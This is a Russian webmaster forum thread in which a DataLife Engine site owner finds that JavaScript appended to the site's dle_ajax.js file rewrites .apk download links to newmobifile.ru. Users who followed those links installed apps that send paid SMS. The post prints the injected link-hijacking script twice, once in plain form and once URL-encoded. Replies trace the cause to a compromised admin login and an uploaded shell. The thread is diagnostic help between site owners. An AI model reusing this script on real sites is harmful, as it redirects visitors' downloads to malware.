Вирус, или не вирус.... первый раз такое вижу О_о

[Удален]
2517

Сайт DLE, залиты файл .apk для android.

Начали жаловаться пользователи, что после установки и запуска файлов шлются SMS.

Оказалось, что "вирус" заменяет ссылки типа www.site.ru/download.php?id=123 на

http://newmobifile. ru/getfile.php? dtype=dle&u= http://www.site.ru/engine/download.php?id=152&s=315&i=1&d=имя_файла.apk&e=2679&a=16

Причем подмена ссылок не происходит если сидеть под Aдмином.

Замена ссылок происходит через JavaScript. При откл. JavaScript ничего не заменяется.

Пошарился по сайту, искал последние измененные файлы - ничего не обнаружил. По логам авторизаций SSH все впорядке, с логами FTP все ок.

В Исходном Коде страницы тоже все ок, лишнего ничего нет. Тогда сохранил страницу себе на комп, после просмотра исходного кода обнаружился кусок код который делал замену подмену ссылок:

<script type="text/javascript">if(window.jQuery==undefined) {document.write(unescape("%3Cscript src='https://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js' type='text/javascript'%3E%3C/script%3E"));}</script><script type="text/javascript">$(document).ready(function() { 

var url = "http://newmobifile.ru/getfile.php?dtype=dle&u={link}&s=315&i=1&d={query}&e={size}&a=16";
var ext = "";
var anchor = false;
var reg = true;
var reg_from = 'engine/download.php?id=';
ext = ext.split(',');
$('a').each(function() {
var link = $(this).attr('href');
var flag = false;
for (i = 0; i < ext.length;i++) {
if (link.toLowerCase().indexOf((reg ? reg_from : ext.toLowerCase()), (reg ? 0 : link.length - ext.length)) != -1) {
flag = true;
break;}}
if (flag) {
if (link.toLowerCase().indexOf('http://') == -1) {
link = 'http://' + document.location.host + (link[0] == '/' ? link : '/' + link);}
var query = (reg ? $(this).html() :anchor ? encodeURIComponent($(this).html()) : link.substr(link.lastIndexOf('/')+1, link.lastIndexOf('.') - link.lastIndexOf('/')-1));
var new_url = url.replace(/{link}/gi, link).replace(/{query}/gi, query).replace(/{size}/gi, Math.floor(Math.random() * (3000 - 2300 + 1) + 2300));
$(this).attr('href', new_url);}
});
});
</script>

Он располагался рядом с:

<script type="text/javascript" src="/engine/ajax/dle_ajax.js"></script>

Далее глянул в закэшированный FireFox файл /engine/ajax/dle_ajax.js - в конце файла оказался приписан этот код.

document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3Eif%28window.jQuery%3D%3Dundefined%29%20%7Bdocument.write%28unescape%28%22%253Cscript%20src%3D%27https%3A//ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js%27%20type%3D%27text/javascript%27%253E%253C/script%253E%22%29%29%3B%7D%3C/script%3E%3Cscript%20type%3D%22text/javascript%22%3E%24%28document%29.ready%28function%28%29%20%7B%20%0Avar%20url%20%3D%20%22http%3A//newmobifile.ru/getfile.php%3Fdtype%3Ddle%26u%3D%7Blink%7D%26s%3D315%26i%3D1%26d%3D%7Bquery%7D%26e%3D%7Bsize%7D%26a%3D16%22%3B%0Avar%20ext%20%3D%20%22%22%3B%0Avar%20anchor%20%3D%20false%3B%0Avar%20reg%20%3D%20true%3B%0Avar%20reg_from%20%3D%20%27engine/download.php%3Fid%3D%27%3B%0Aext%20%3D%20ext.split%28%27%2C%27%29%3B%0A%24%28%27a%27%29.each%28function%28%29%20%7B%0Avar%20link%20%3D%20%24%28this%29.attr%28%27href%27%29%3B%0Avar%20flag%20%3D%20false%3B%0Afor%20%28i%20%3D%200%3B%20i%20%3C%20ext.length%3Bi++%29%20%7B%0Aif%20%28link.toLowerCase%28%29.indexOf%28%28reg%20%3F%20reg_from%20%3A%20ext%5Bi%5D.toLowerCase%28%29%29%2C%20%28reg%20%3F%200%20%3A%20link.length%20-%20ext%5Bi%5D.length%29%29%20%21%3D%20-1%29%20%7B%0Aflag%20%3D%20true%3B%0Abreak%3B%7D%7D%0Aif%20%28flag%29%20%7B%0Aif%20%28link.toLowerCase%28%29.indexOf%28%27http%3A//%27%29%20%3D%3D%20-1%29%20%7B%0Alink%20%3D%20%27http%3A//%27%20+%20document.location.host%20+%20%28link%5B0%5D%20%3D%3D%20%27/%27%20%3F%20link%20%3A%20%27/%27%20+%20link%29%3B%7D%0Avar%20query%20%3D%20%28reg%20%3F%20%24%28this%29.html%28%29%20%3Aanchor%20%3F%20encodeURIComponent%28%24%28this%29.html%28%29%29%20%3A%20link.substr%28link.lastIndexOf%28%27/%27%29+1%2C%20link.lastIndexOf%28%27.%27%29%20-%20link.lastIndexOf%28%27/%27%29-1%29%29%3B%0Avar%20new_url%20%3D%20url.replace%28/%7Blink%7D/gi%2C%20link%29.replace%28/%7Bquery%7D/gi%2C%20query%29.replace%28/%7Bsize%7D/gi%2C%20Math.floor%28Math.random%28%29%20*%20%283000%20-%202300%20+%201%29%20+%202300%29%29%3B%0A%24%28this%29.attr%28%27href%27%2C%20new_url%29%3B%7D%0A%7D%29%3B%0A%7D%29%3B%0A%3C/script%3E"));

Глянул в файл /engine/ajax/dle_ajax.js через ftp - ничего подобного нету, все ок. Глянул через Opera, где я залогинен под Админом, и где замена ссылок не происходит, как я писал выше - тоже ничего нету.

Как так вообще :confused: .

Может ли такая фигня подсовываться в файл dle_ajax.js через скрипты, подгружающиеся с других сайтов ? - на сайте стоят Метрика, Livinternet, Analytics, AdSence и тизерка recreativ.com, еще JarBox, но там никаких скриптов не грузится, просто TopLine висит с ссылкой.

Щас ссылка нормальная, но ведь в любой момент опять могут врубить эту хрень...

PD
На сайте с 05.09.2011
Offline
15
#1

Причина скрорей всего в NULL движке, стронних модулях или же в хостинге.

PHPSID добавил 11.09.2011 в 19:37

PS. вы не один:

Ссылку киньте в личку если не сложно, интересно очень.

Баннерная сеть + псевдоподписки (2 в 1)! Впервые в WAP`e! Конвертабельный лейдинг! Ратио 1:2! (http://rusban.su/?ref=1)
[Удален]
#2
PHPSID:
Причина скрорей всего в NULL движке, стронних модулях или же в хостинге.

сервак свой, на dle стоят заплатки, права на папки/файлы выставлены верно...

Из модулей только tags и forum приходят в голову, другие модули мелкие, их код весь видел, там никак не взломать...

Спасибо, напишу ему.

R
На сайте с 24.01.2008
Offline
180
#3

Стучите избавим от вирусов!

Удаление вирусов с сайта, защита сайта, Гарантия! ( /ru/forum/999073 ) -> топик на маулталк ( http://www.maultalk.com/topic113834s0.html ) -> Топик в сапе ( http://forum.sape.ru/showthread.php?t=79363 ). TELEGRAM - https://t.me/Doktorsaitov
ebn
На сайте с 01.09.2006
Offline
47
ebn
#4

GizmoKoenig, добрый день.

Каким либо образом удалось решить проблему?

Ни как не могу понять, вчера ночью этот код отчетливо видел, найти и удалить его не смог, сегодня его нет??

[Удален]
#5
ebn:
GizmoKoenig, добрый день.
Каким либо образом удалось решить проблему?

Ни как не могу понять, вчера ночью этот код отчетливо видел, найти и удалить его не смог, сегодня его нет??

Оказалось ломанули ломанули админку как-то (тупо залогинились, судя по логам) и шелл залили, код я так и не нашел - он просто исчез с сайта 😒

ebn
На сайте с 01.09.2006
Offline
47
ebn
#6
GizmoKoenig:
код я так и не нашел - он просто исчез с сайта 😒

Посмотрите может опять появился, только ведет теперь на

http://servtds.ru/

вместо

http://newmobifile.ru/

в остальном все тоже

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий